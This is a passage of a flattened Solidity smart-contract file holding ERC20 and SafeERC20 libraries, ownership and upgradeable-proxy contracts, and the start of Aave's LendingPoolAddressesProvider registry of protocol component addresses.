* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* > Note that this information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* `IERC20.balanceOf` and `IERC20.transfer`.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @title VersionedInitializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*
* @author Aave, inspired by the OpenZeppelin Initializable contract
*/
contract VersionedInitializable {
/**
* @dev Indicates that the contract has been initialized.
*/
uint256 private lastInitializedRevision = 0;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
uint256 revision = getRevision();
require(initializing || isConstructor() || revision > lastInitializedRevision, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
lastInitializedRevision = revision;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev returns the revision number of the contract.
/// Needs to be defined in the inherited class as a constant.
function getRevision() internal pure returns(uint256);
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
uint256 cs;
//solium-disable-next-line
assembly {
cs := extcodesize(address)
}
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
//solium-disable-next-line
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize)
}
default {
return(0, returndatasize)
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
//solium-disable-next-line
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
Address.isContract(newImplementation),
"Cannot set a proxy implementation to a non-contract address"
);
bytes32 slot = IMPLEMENTATION_SLOT;
//solium-disable-next-line
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
//solium-disable-next-line
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
//solium-disable-next-line
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) public payable UpgradeabilityProxy(_logic, _data) {
assert(ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(_admin);
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
}
contract AddressStorage {
mapping(bytes32 => address) private addresses;
function getAddress(bytes32 _key) public view returns (address) {
return addresses[_key];
}
function _setAddress(bytes32 _key, address _value) internal {
addresses[_key] = _value;
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(_admin);
}
}
/**
@title ILendingPoolAddressesProvider interface
@notice provides the interface to fetch the LendingPoolCore address
*/
contract ILendingPoolAddressesProvider {
function getLendingPool() public view returns (address);
function setLendingPoolImpl(address _pool) public;
function getLendingPoolCore() public view returns (address payable);
function setLendingPoolCoreImpl(address _lendingPoolCore) public;
function getLendingPoolConfigurator() public view returns (address);
function setLendingPoolConfiguratorImpl(address _configurator) public;
function getLendingPoolDataProvider() public view returns (address);
function setLendingPoolDataProviderImpl(address _provider) public;
function getLendingPoolParametersProvider() public view returns (address);
function setLendingPoolParametersProviderImpl(address _parametersProvider) public;
function getTokenDistributor() public view returns (address);
function setTokenDistributor(address _tokenDistributor) public;
function getFeeProvider() public view returns (address);
function setFeeProviderImpl(address _feeProvider) public;
function getLendingPoolLiquidationManager() public view returns (address);
function setLendingPoolLiquidationManager(address _manager) public;
function getLendingPoolManager() public view returns (address);
function setLendingPoolManager(address _lendingPoolManager) public;
function getPriceOracle() public view returns (address);
function setPriceOracle(address _priceOracle) public;
function getLendingRateOracle() public view returns (address);
function setLendingRateOracle(address _lendingRateOracle) public;
}
/**
* @title LendingPoolAddressesProvider contract
* @notice Is the main registry of the protocol. All the different components of the protocol are accessible
* through the addresses provider.
* @author Aave
**/
contract LendingPoolAddressesProvider is Ownable, ILendingPoolAddressesProvider, AddressStorage {
//events
event LendingPoolUpdated(address indexed newAddress);
event LendingPoolCoreUpdated(address indexed newAddress);
event LendingPoolParametersProviderUpdated(address indexed newAddress);
event LendingPoolManagerUpdated(address indexed newAddress);
event LendingPoolConfiguratorUpdated(address indexed newAddress);
event LendingPoolLiquidationManagerUpdated(address indexed newAddress);
event LendingPoolDataProviderUpdated(address indexed newAddress);
event EthereumAddressUpdated(address indexed newAddress);
event PriceOracleUpdated(address indexed newAddress);
event LendingRateOracleUpdated(address indexed newAddress);
event FeeProviderUpdated(address indexed newAddress);
event TokenDistributorUpdated(address indexed newAddress);
event ProxyCreated(bytes32 id, address indexed newAddress);
bytes32 private constant LENDING_POOL = "LENDING_POOL";
bytes32 private constant LENDING_POOL_CORE = "LENDING_POOL_CORE";
bytes32 private constant LENDING_POOL_CONFIGURATOR = "LENDING_POOL_CONFIGURATOR";
bytes32 private constant LENDING_POOL_PARAMETERS_PROVIDER = "PARAMETERS_PROVIDER";
bytes32 private constant LENDING_POOL_MANAGER = "LENDING_POOL_MANAGER";
bytes32 private constant LENDING_POOL_LIQUIDATION_MANAGER = "LIQUIDATION_MANAGER";
bytes32 private constant LENDING_POOL_FLASHLOAN_PROVIDER = "FLASHLOAN_PROVIDER";
bytes32 private constant DATA_PROVIDER = "DATA_PROVIDER";
bytes32 private constant ETHEREUM_ADDRESS = "ETHEREUM_ADDRESS";
bytes32 private constant PRICE_ORACLE = "PRICE_ORACLE";
bytes32 private constant LENDING_RATE_ORACLE = "LENDING_RATE_ORACLE";
bytes32 private constant FEE_PROVIDER = "FEE_PROVIDER";
bytes32 private constant WALLET_BALANCE_PROVIDER = "WALLET_BALANCE_PROVIDER";
bytes32 private constant TOKEN_DISTRIBUTOR = "TOKEN_DISTRIBUTOR";
/**
* @dev returns the address of the LendingPool proxy
* @return the lending pool proxy address
**/
function getLendingPool() public view returns (address) {
return getAddress(LENDING_POOL);
}
/**
* @dev updates the implementation of the lending pool
* @param _pool the new lending pool implementation
**/
function setLendingPoolImpl(address _pool) public onlyOwner {
updateImplInternal(LENDING_POOL, _pool);
emit LendingPoolUpdated(_pool);
}
/**
* @dev returns the address of the LendingPoolCore proxy
* @return the lending pool core proxy address
*/
function getLendingPoolCore() public view returns (address payable) {
address payable core = address(uint160(getAddress(LENDING_POOL_CORE)));
return core;
}
/**
* @dev updates the implementation of the lending pool core
* @param _lendingPoolCore the new lending pool core implementation
**/
function setLendingPoolCoreImpl(address _lendingPoolCore) public onlyOwner {
updateImplInternal(LENDING_POOL_CORE, _lendingPoolCore);
emit LendingPoolCoreUpdated(_lendingPoolCore);
}
/**
* @dev returns the address of the LendingPoolConfigurator proxy
* @return the lending pool configurator proxy address
**/
function getLendingPoolConfigurator() public view returns (address) {
return getAddress(LENDING_POOL_CONFIGURATOR);
}
/**
* @dev updates the implementation of the lending pool configurator
* @param _configurator the new lending pool configurator implementation
**/
function setLendingPoolConfiguratorImpl(address _configurator) public onlyOwner {
updateImplInternal(LENDING_POOL_CONFIGURATOR, _configurator);
emit LendingPoolConfiguratorUpdated(_configurator);
}
/**
* @dev returns the address of the LendingPoolDataProvider proxy
* @return the lending pool data provider proxy address
*/
function getLendingPoolDataProvider() public view returns (address) {
return getAddress(DATA_PROVIDER);
}
/**
* @dev updates the implementation of the lending pool data provider
* @param _provider the new lending pool data provider implementation
**/
function setLendingPoolDataProviderImpl(address _provider) public onlyOwner {
updateImplInternal(DATA_PROVIDER, _provider);
emit LendingPoolDataProviderUpdated(_provider);
}
/**
* @dev returns the address of the LendingPoolParametersProvider proxy
* @return the address of the Lending pool parameters provider proxy
**/
function getLendingPoolParametersProvider() public view returns (address) {
return getAddress(LENDING_POOL_PARAMETERS_PROVIDER);
}
/**
* @dev updates the implementation of the lending pool parameters provider
* @param _parametersProvider the new lending pool parameters provider implementation
**/
function setLendingPoolParametersProviderImpl(address _parametersProvider) public onlyOwner {
updateImplInternal(LENDING_POOL_PARAMETERS_PROVIDER, _parametersProvider);
emit LendingPoolParametersProviderUpdated(_parametersProvider);
}
/**
* @dev returns the address of the FeeProvider proxy
* @return the address of the Fee provider proxy
**/
function getFeeProvider() public view returns (address) {
return getAddress(FEE_PROVIDER);
}
/**
* @dev updates the implementation of the FeeProvider proxy
* @param _feeProvider the new lending pool fee provider implementation
**/
function setFeeProviderImpl(address _feeProvider) public onlyOwner {
updateImplInternal(FEE_PROVIDER, _feeProvider);
emit FeeProviderUpdated(_feeProvider);
}
/**
* @dev returns the address of the LendingPoolLiquidationManager. Since the manager is used
* through delegateCall within the LendingPool contract, the proxy contract pattern does not work properly hence
* the addresses are changed directly.
* @return the address of the Lending pool liquidation manager
**/
function getLendingPoolLiquidationManager() public view returns (address) {
return getAddress(LENDING_POOL_LIQUIDATION_MANAGER);
}
/**
* @dev updates the address of the Lending pool liquidation manager
* @param _manager the new lending pool liquidation manager address
**/
function setLendingPoolLiquidationManager(address _manager) public onlyOwner {
_setAddress(LENDING_POOL_LIQUIDATION_MANAGER, _manager);
emit LendingPoolLiquidationManagerUpdated(_manager);
}
/**
* @dev the functions below are storing specific addresses that are outside the context of the protocol
* hence the upgradable proxy pattern is not used
**/
function getLendingPoolManager() public view returns (address) {
return getAddress(LENDING_POOL_MANAGER);
}
function setLendingPoolManager(address _lendingPoolManager) public onlyOwner {
_setAddress(LENDING_POOL_MANAGER, _lendingPoolManager);
emit LendingPoolManagerUpdated(_lendingPoolManager);
}
function getPriceOracle() public view returns (address) {
return getAddress(PRICE_ORACLE);
}
function setPriceOracle(address _priceOracle) public onlyOwner {
_setAddress(PRICE_ORACLE, _priceOracle);
emit PriceOracleUpdated(_priceOracle);
}
